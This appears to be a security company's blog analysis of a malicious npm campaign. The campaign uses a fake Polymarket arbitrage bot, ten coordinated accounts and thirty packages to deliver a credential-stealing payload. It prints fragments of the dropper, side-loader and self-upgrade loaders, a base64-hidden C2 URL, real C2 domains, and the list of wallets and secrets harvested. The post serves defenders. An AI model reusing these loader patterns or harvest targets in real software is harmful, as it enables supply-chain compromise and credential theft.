---
title: "The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer"
description: "A GitHub repository posing as a Polymarket arbitrage bot accumulated 53 forks before anyone flagged the malicious npm package buried in its dependencies. Behind that repo: ten coordinated npm accounts, 30 packages, and four delivery techniques including one that uses npm itself as the payload server. The second-stage credential harvester reads crypto wallets, browser credentials, AWS keys, SSH keys, and password managers."
url: "https://safedep.io/blog/defi-infostealer-fake-arbitrage-bot-npm"
author: "SafeDep Team"
published: "2026-06-30"
---

# The Polymarket Trap: A Fake Arbitrage Bot, Ten npm Accounts, and Four Ways to Deliver an Infostealer

## TL;DR

Ten npm maintainer accounts coordinated to publish 30 packages targeting DeFi developers. Package names mimic Polymarket tooling and general DeFi math libraries. The operators share C2 infrastructure across separate accounts, built their dropper from a common template, and used four delivery techniques. The second-stage payload is a 2787- to 2887-line JavaScript infostealer that reads crypto wallet vaults, browser credentials, SSH keys, AWS credentials, npm tokens, Docker config, shell history, and password manager databases.

**Affected packages and maintainer accounts:**

| Maintainer                | Packages                                                                                                                                 | Technique                                  |
| ------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------ |
| `ricmoo1`                 | `decimal-format-core@3.5.2`, `console-fmt-cli`                                                                                           | Dropper + Side-loader                      |
| `micha.el.g.ebu.rt.u.z`   | `clob-client-math@1.0.0,1.0.1`                                                                                                           | Dropper                                    |
| `haha1999`                | `polymarket-stake-math@3.5.0,3.5.1`, `logfmt-core@3.5.2`, `decimal-format-utils@1.0.0`                                                   | Dropper + Self-upgrade                     |
| `garir`                   | `stake-math@3.5.2-3.5.4`, `data-parser-utils@3.0.2`, `ts-precision@3.7.2`                                                                | Dropper + Direct embed + Side-loader       |
| `pmtrader`                | `polymarket-trading-developer-tools@0.1.0,0.1.1`                                                                                         | Dropper                                    |
| `ryden.miliano`           | `kelly-stake@3.5.2-3.5.6`                                                                                                                | Dropper                                    |
| `asdjakldjflkadsjflkajdk` | `polymarket-stake-maths@3.5.2`, `ts-escrow@0.1.0`, `log-taker1@0.1.0`                                                                    | Dropper + Side-loader + Direct embed       |
| `flax_up`                 | `polymarket-clob-maths@2.3.9,3.3.9`                                                                                                      | Dropper                                    |
| `polymaster`              | `poly-kelly@3.5.2,3.5.3`, `ts-bn-lint@3.1.19,5.8.0`, `ts-bn-lint-helper@3.1.19`, `ts-bn-proto@5.8.1`, `bn-lint@3.0.8`                    | Dropper + Direct embed + Side-loader chain |
| `rohmat2527`              | `log-taker@0.1.0`, `ts-escro@0.0.9`, `thurdweb`, `thirdwebjs`, `thidweb`, `thirdwebb`, `therdweb`, `thirdwb`, `rainbokit`, `rainbownkit` | Direct embed + Typosquats                  |

**What the payload collects:**

- Crypto wallet vaults: MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, TronLink
- Browser credentials: Chrome, Firefox, Brave cookies (parsed via sql.js) and saved passwords
- Developer secrets: SSH private keys, AWS credentials, `.npmrc` tokens, `.pypirc`, Docker config, GPG keyrings
- Shell history: bash, zsh, fish, PowerShell (last 10,000 lines)
- Password managers: Bitwarden vault, KeePass `.kdbx`, 1Password `.1pux`
- Source code regex scan for private key patterns, mnemonic phrases, and API tokens

## Background

DeFi packages have no authoritative publisher. `clob-client-math` reads as a math utility for Polymarket's CLOB client. `decimal-format-core` reads as a fixed-point arithmetic helper. There is no Google or Microsoft to impersonate. The operators exploited naming conventions, not brand trust.

Packages in this campaign split across two target profiles: Polymarket protocol developers (the `polymarket-*` and `clob-*` names) and general DeFi math tooling users (`kelly-*`, `stake-math`, `bn-lint`, `ts-precision`). The typosquatting cluster catches any DeFi frontend developer who miskeys `thirdweb` or `rainbowkit`.

## The bait repository

The entry point was `Trum3it/polymarket-arbitrage-bot`, a GitHub repository with 36 stars and 53 forks. Victims did not search for an obscure package. They cloned what looked like a working trading bot.

The repository describes a TypeScript bot for Polymarket's 5-minute crypto prediction markets, promising a "late-window resolution snipe" strategy with annual returns above $80,000. Its `package.json` lists four dependencies:

```json
{
  "dependencies": {
    "@polymarket/clob-client": "^5.2.1",
    "clob-client-math": "^1.0.1",
    "dotenv": "^16.4.5",
    "ethers": "^5.7.2"
  }
}
```

`@polymarket/clob-client` is the official SDK. `clob-client-math` sits next to it, named to read as a companion math utility. A developer scanning `package.json` sees two plausible Polymarket packages.

`clob-client-math` is **never imported** in `src/index.ts`. The bot uses only `@polymarket/clob-client` and `ethers`. `clob-client-math` appears in `dependencies` for one reason: `npm install` triggers its `postinstall` hook.

The setup instructions require a `.env` file with `POLYMARKET_PRIVATE_KEY`. That key is on disk before `npm install` finishes. The infostealer reads it.

The repository appeared June 20-22, 2026, the same week the malicious packages were published. Fifty-three developers forked it before the malicious dependency was reported. Each one who ran `npm install` executed the infostealer.

A public issue filed June 30, 2026 ([Trum3it/polymarket-arbitrage-bot#2](https://github.com/Trum3it/polymarket-arbitrage-bot/issues/2)) flagged `clob-client-math` as malicious and noted it was declared but never imported. That report prompted the investigation documented here.

## The four delivery techniques

### Technique 1: The dropper

Nine of the ten accounts used a `postinstall` hook running `scripts/install-check.cjs` (or `scripts/verify-peer.cjs` in some variants). The script reads the C2 URL from the package's `homepage` field rather than hardcoding it. No domain appears in the installer script itself, defeating string-search detection.

```javascript
// scripts/install-check.cjs (representative — present across dropper-technique packages)
const configUrl = process.env.DFC_SYNC_CONFIG || process.env.DFC_PEER_CONFIG || readPackageJson().homepage; // C2 URL stored in package.json homepage field

// fetches JSON config from configUrl → gets bundleUrl → downloads .tgz
// extracts to .peer/ → runs npm install inside → calls peer-math.js syncSession()
const { syncSession } = require(peerModule);
await syncSession();
```

The JSON config at that URL provides a `bundleUrl` pointing to a `.tgz` peer bundle. The dropper extracts it to a hidden `.peer/` directory, runs `npm install` inside to resolve dependencies, then calls `syncSession()` from `peer-math.js`. That second-stage bundle is the infostealer.

The dropper code is byte-for-byte identical across packages, with only the env-var prefix changed (`DFC_`, `PSM_`, `KELLY_`). `clob-client-math`'s installer outputs `[polymarket-stake-math]` in error messages — the name of a different package in the campaign. Whoever forked the template left the error strings unchanged.

### Technique 2: Direct embed

`ts-bn-lint@3.1.19`, `ts-bn-lint-helper`, and `data-parser-utils` embed the full infostealer in `index.js`, roughly 2800 lines, and run it via `postinstall: node test.js`. Two of these hide the C2 endpoint with base64:

```javascript
// ts-bn-lint/index.js (representative)
const API_URL = decodeStr('aHR0cHM6Ly9kYXRhLXN0cmVhbS5zcGFjZS9hcGkvdjE=');
// decodes to: https://data-stream.space/api/v1
```

The payload scans for `id.json`, `config.toml`, `.env`, `config.json`, and any file containing `======` (a PEM separator that also appears in base64-encoded private keys). Operators tag each victim with `{USER}@{localIP}` to distinguish them from their own test installs. Some variants embed a `DEFAULT_USERNAME_TAG` (`"piterpan"`, `"pmtrader"`) to identify which operator deployed the payload.

`ts-bn-lint@3.1.19` and `ts-bn-lint-helper@3.1.19` have byte-identical `index.js` files.

### Technique 3: The side-loader

`ts-precision@3.7.2` is a working wrapper around `big.js`. Between the `divide()` and `mod()` implementations, around lines 605-609, is this:

```javascript
// ts-precision/big.js, lines 605-609
try {
  const doc = require('data-parser-utils');
  doc
    .from_str()
    .then((e) => {})
    .catch((e) => {});
} catch (error) {}
```

`data-parser-utils` (published by `garir`) is listed in `ts-precision`'s `dependencies`, so `npm install ts-precision` pulls the infostealer as a transitive dependency. No `postinstall` hook appears in `ts-precision`'s metadata. The `require()` fires at import time, so `--ignore-scripts` does not stop it.

Two other pairs use the same pattern: `ts-escrow` requires `log-taker1` (both `asdjakldjflkadsjflkajdk`), and `ts-escro` requires `log-taker` (both `rohmat2527`). `bn-lint` by `polymaster` requires `ts-bn-lint-helper`.

### Technique 4: Self-upgrade via the npm registry

`haha1999` published `decimal-format-utils@1.0.0` with clean math functions in `index.js` and no infostealer code. The `postinstall` hook runs `scripts/sync-peer.cjs`:

```javascript
// decimal-format-utils/scripts/sync-peer.cjs
const TARGET_VERSION = process.env.BACKUP_TARGET_VERSION || '1.0.1';

// if current installed version is not TARGET_VERSION:
execSync(`npm pack "${PACKAGE_NAME}@${TARGET_VERSION}" --pack-destination "${packDest}"`);
// extracts the downloaded tarball and overwrites all files in the current install directory
// then calls from_str() from the now-replaced index.js
```

`1.0.0` uses npm to download `1.0.1`, then overwrites its own installed files with the payload. The `1.0.0` tarball is clean — any scan, audit, or cache check produces no findings. The registry itself is the delivery mechanism, and the `1.0.0` package contains no external C2 domain.

## The second-stage payload

The infostealer in `peer-math.js` (or embedded in `index.js`) runs 2787 to 2887 lines depending on the variant. It reads from every major credential source across macOS, Linux, and Windows.

**Crypto wallets:** The payload reads encrypted vault files from the browser extension storage directories of MetaMask, Phantom, Solflare, OKX Wallet, Coinbase Wallet, TrustWallet, Backpack, and TronLink. It transmits the encrypted vault and any adjacent key material without decrypting.

**Browser data:** The payload bundles `sql.js` to parse Chrome, Firefox, and Brave cookie databases directly from the SQLite files. Saved passwords and browsing history are collected alongside.

**Developer credentials:** SSH private keys (`~/.ssh/`), AWS credentials, `.npmrc` tokens, `.pypirc`, Docker config, and GPG keyrings.

**Shell history:** bash, zsh, fish, and PowerShell history files, last 10,000 lines each.

**Desktop wallets:** Exodus and Electrum wallet data files.

**Note and productivity apps:** Windows Sticky Notes, Notion local cache, OneNote files.

**Password managers:** Bitwarden vault JSON, KeePass `.kdbx` files, 1Password `.1pux` exports.

**Source code scan:** The payload regex-scans source files in the working directory for private key patterns, BIP-39 mnemonic phrases, and API tokens.

## Coordination evidence

Ten separate npm accounts could look like independent actors. Six artifacts say otherwise.

**Shared C2 endpoints.** `polymarket-clob-service.vercel.app` exfiltrates data for both `micha.el.g.ebu.rt.u.z` (`clob-client-math`) and `pmtrader` (`polymarket-trading-developer-tools`). `log-taker.store` serves `rohmat2527` and `asdjakldjflkadsjflkajdk` the same way. Separate npm accounts, same servers.

**Template-generated droppers.** `install-check.cjs` is byte-for-byte identical across all dropper packages, with only the env-var prefix changed. Independent authors do not produce identical code.

**Copy-paste error.** `clob-client-math`'s installer outputs `[polymarket-stake-math]` in error messages. `polymarket-stake-math` belongs to `haha1999`, a different account. Whoever forked the template left the error strings unchanged.

**Identical payloads.** `ts-bn-lint@3.1.19` and `ts-bn-lint-helper@3.1.19`, both from `polymaster`, have byte-identical `index.js` files.

**Version inflation.** Each account published benign stub versions in the 2.x-3.x range before inserting the payload at a specific version. Tools that flag packages with no history see an established package instead.

**Exposed npm token.** `garir`'s `data-parser-utils` tarball included `.npmrc.bak` with a live npm authentication token, left in by mistake.

## C2 infrastructure

| Domain                                 | Operator                            | Hosting                             |
| -------------------------------------- | ----------------------------------- | ----------------------------------- |
| `logstream-api.online`                 | ricmoo1                             | Dedicated                           |
| `polymarket-clob-service.vercel.app`   | micha.el.g.ebu.rt.u.z, pmtrader     | Vercel serverless                   |
| `vercel-backend-myapp.vercel.app`      | haha1999                            | Vercel serverless                   |
| `log-prettier.store`                   | garir                               | Dedicated                           |
| `vercel-backend-green-five.vercel.app` | garir                               | Vercel serverless                   |
| `zscdao.help`                          | ryden.miliano                       | Dedicated                           |
| `log-taker.store`                      | rohmat2527, asdjakldjflkadsjflkajdk | Dedicated (shared)                  |
| `trabalhos-flax.vercel.app`            | flax_up                             | Vercel serverless                   |
| `data-stream.space`                    | polymaster                          | Dedicated                           |
| `pm-trading-dev-tools-be.vercel.app`   | pmtrader                            | Vercel serverless (config delivery) |

Operators split between Vercel serverless (fast, zero-config) and dedicated domains. The clearest coordination signal is `log-taker.store`, a dedicated server shared by two separate npm accounts.

## The typosquatting cluster

`rohmat2527` added typosquats targeting `thirdweb` and `rainbowkit`, two widely used DeFi frontend libraries:

- `thirdweb` variants: `thurdweb`, `thirdwebjs`, `thidweb`, `thirdwebb`, `therdweb`, `thirdwb`
- `rainbowkit` variants: `rainbokit`, `rainbownkit`

All require `log-taker` as a dependency. No `postinstall` hook appears in the typosquat's own metadata. Install any of these and `log-taker` installs alongside it.

## Impact

If you ran `npm install` on an affected version, the infostealer ran too — at install time for dropper and direct-embed packages, at first import for side-loaders. If your lockfile references any version listed here, treat every credential in that environment as compromised.

The target list hits DeFi developers hardest. Wallet vaults, seed phrases in source code, private keys in `.env`, and browser extension wallet storage are collected alongside AWS credentials, SSH keys, and npm tokens. From a developer's workstation, those credentials reach CI/CD pipelines and package publishing accounts.

The self-upgrade technique breaks tarball-based security scanning. `decimal-format-utils@1.0.0` scans clean. The payload arrives only after installation, when the package downloads and overwrites itself with `1.0.1`.

## Indicators of Compromise

**Packages**

[packages.csv](https://safedep.io/data/blogs/polymarket-npm-iocs-packages.csv)

**Domains**

[c2-domains.csv](https://safedep.io/data/blogs/polymarket-npm-iocs-domains.csv)

**Accounts**

[accounts.csv](https://safedep.io/data/blogs/polymarket-npm-iocs-accounts.csv)
